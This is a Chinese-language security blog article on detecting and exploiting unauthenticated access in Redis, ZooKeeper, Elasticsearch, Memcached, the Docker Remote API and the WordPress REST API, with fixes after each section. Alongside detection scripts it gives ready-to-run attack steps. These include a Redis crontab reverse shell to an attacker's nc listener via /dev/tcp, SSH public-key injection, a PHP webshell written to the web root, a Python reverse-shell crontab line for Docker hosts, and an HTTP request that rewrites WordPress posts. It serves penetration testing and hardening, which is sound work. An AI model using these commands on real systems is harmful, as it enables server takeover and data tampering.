长亭百川云 - 文章详情

未授权访问漏洞的检测与利用

天黑说嘿话

77

2024-07-13

      最近在研究未授权访问漏洞的检测方式,也写了一部分检测脚本,准确率还挺高。当然光有检测还是不够的,最好能有漏洞利用过程,这样也好证明漏洞的风险性,便于推动漏洞修复也便于自己对漏洞更深入的了解。

redis未授权访问漏洞

漏洞描述

redis安装完以后,默认是没有账号密码的(安装redis详细可参考:redis相关笔记,如果redis是以root权限去运行,则可以被反弹shell或者写入ssh密钥,从而被获取服务器的权限。

漏洞检测

1

2

3

4

5

6

7

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host,port))

s.send("INFO\r\n")

result = s.recv(1024)

if "redis_version" in result:

print "exist vul"

客户端连接测试一下:

1

2

3

4

5

$redis-cli -h host -p port

>CONFIG get requirepass

  1. "requirepass"

  2. ""

说明:表示没有设置密码,默认为没有密码。

漏洞利用

利用crontab反弹shell

自己服务器上监听一个端口(10.0.0.2)

1

nc -lvnp 4444

执行命令:

1

2

3

4

5

redis-cli -h 10.0.0.1

set x "\n* * * * * bash -i >& /dev/tcp/10.0.0.2/4444 0>&1\n"

config set dir /var/spool/cron/

config set dbfilename root

save

写ssh-keygen公钥登录服务器

利用条件:

1

2

1.redis对外开放,且未授权访问(默认配置)

2.服务器的ssh对外开放,可通过key登录

详细攻击方式如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

准备好自己的公钥,写入本地文件text.txt。

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt

2. 通过redis将该文件写入内存

$ redis-cli -h 10.0.0.1 flushall

$ cat test.txt | redis-cli -h 10.0.0.1 -x set crackit

3. 利用redis-cli 写入配置的方式将公钥写入到.ssh目录下

$ redis-cli -h 10.0.0.1

10.0.0.1:6379> config set dir /Users/nmask/.ssh/

OK

10.0.0.1:6379> config get dir

  1. "dir"

  2. "/Users/nmask/.ssh"

10.0.0.1:6379> config set dbfilename "authorized_keys"

OK

10.0.0.1:6379> save

OK

获取web服务的webshell

当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell。

1

2

3

4

config set dir /var/www/html/

config set dbfilename shell.php

set x ""

save

说明:执行以上命令,即可将shell写入web目录。

漏洞修复

到redis安装目录下,配置redis.conf文件:
1、默认只对本地开放
bind 127.0.0.1
2、添加登陆密码
requirepass www.secpulse.com
3、在需要对外开放的时候修改默认端口
port 2333
4、最后还可以配合iptables限制开放

ZooKeeper未授权访问漏洞

漏洞描述

安装zookeeper之后默认是没有账号密码的,即没有权限校验,可被远程利用,通过目标服务器收集敏感信息,或者破坏zookeeper集群。

漏洞检测

1

2

3

4

5

6

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((ip, port))

s.send("envi")

result = s.recv(1024)

if "zookeeper.version" in result:

print "exist vul"

漏洞利用

执行以下命令即可远程获取该服务器的环境:

1

echo envi | nc ip port

直接连接:

1

./zkCli.sh -server ip:port

漏洞修复

1、禁止把Zookeeper直接暴露在公网
2、添加访问控制,根据情况选择对应方式(认证用户,用户名密码)
3、绑定指定IP访问

Elasticsearch未授权访问

漏洞描述

ELK是一款日志分析工具,默认监听9200端口,如果没有设置访问权限,可被非法操作数据。

漏洞检测

1

2

3

4

5

conn = httplib.HTTPConnection(ip, port, True, TIMEOUT)

conn.request("GET", '/_cat/master')

resp = conn.getresponse()

if resp.status == 200:

print "exist vul"

漏洞利用

相当于一个API,任何人访问这个地址,就可以调用api,进行数据的增删改操作。
http://x.x.x.x:9200/\_nodes
http://x.x.x.x:9200/\_river

漏洞修复

1、防火墙上设置禁止外网访问9200端口。
2、使用Nginx搭建反向代理,通过配置Nginx实现对Elasticsearch的认证
3、限制IP访问,绑定固定IP
4、在config/elasticsearch.yml中为9200端口设置认证:

1

2

3

4

http.basic.enabled true #开关,开启会接管全部HTTP连接

http.basic.user "admin" #账号

http.basic.password "admin_pw" #密码

http.basic.ipwhitelist ["localhost", "127.0.0.1"]

memcache未授权访问

漏洞描述

memcached是一套常用的key-value缓存系统,其本身并没有权限控制模块,因此攻击者通过命令交互可直接读取memcached中的敏感信息。

漏洞检测

1

2

3

4

5

6

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((ip, port))

s.send("stats")

result = s.recv(1024)

if "STAT version" in result:

print "exist vul"

漏洞利用

1

nc -vv 11211

说明:连接成功,则可获取memcached中的敏感信息。

漏洞修复

1、设置memchached只允许本地访问
2、禁止外网访问Memcached 11211端口
3、编译时加上–enable-sasl,启用SASL认证

Docker未授权访问

漏洞描述

Docker Remote API是一个取代远程命令行界面(rcli)的REST API。通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。

漏洞检测

1

2

3

4

5

conn = httplib.HTTPConnection(ip, port, True, TIMEOUT)

conn.request("GET", '/containers/json')

resp = conn.getresponse()

if resp.status == 200 and "HostConfig" in resp.read():

print "exist vul"

漏洞利用

获取所有images

1

http://host:2375/containers/json

getshell的方式与redis利用差不多。

利用计划任务反弹shell

1

echo -e "*/1 * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /etc/crontab

漏洞修复

1、在不必需的情况下,不要启用docker的remote api服务,如果必须使用的话,可以采用如下的加固方式:
设置ACL,仅允许信任的来源IP连接;
设置TLS认证,官方的文档为Protect the Docker daemon socket
2、客户端连接时需要设置以下环境变量export DOCKER_TLS_VERIFY=1

1

2

3

export DOCKER_CERT_PATH=~/.docker

export DOCKER_HOST=tcp://10.10.10.10:2375

export DOCKER_API_VERSION=1.12

3、在 docker api 服务器前面加一个代理,例如 nginx,设置 401 认证

wordpress未授权访问漏洞

漏洞描述

wordpress未经授权的攻击者利用该漏洞可注入恶意内容,以及进行提权,对文章、页面等内容进行修改。REST API是最近添加到WordPress 4.7.0并默认启用的。

漏洞利用

查看文章列表:

1

GET /index.php/wp-json/wp/v2/posts HTTP/1.1

修改文章内容:

1

2

3

4

5

6

POST /index.php/wp-json/wp/v2/posts/500?id=500 HTTP/1.1

Host: xxx.net

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36

Content-Type: application/json

Content-Length: 43

{"title":"x x x x"}

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2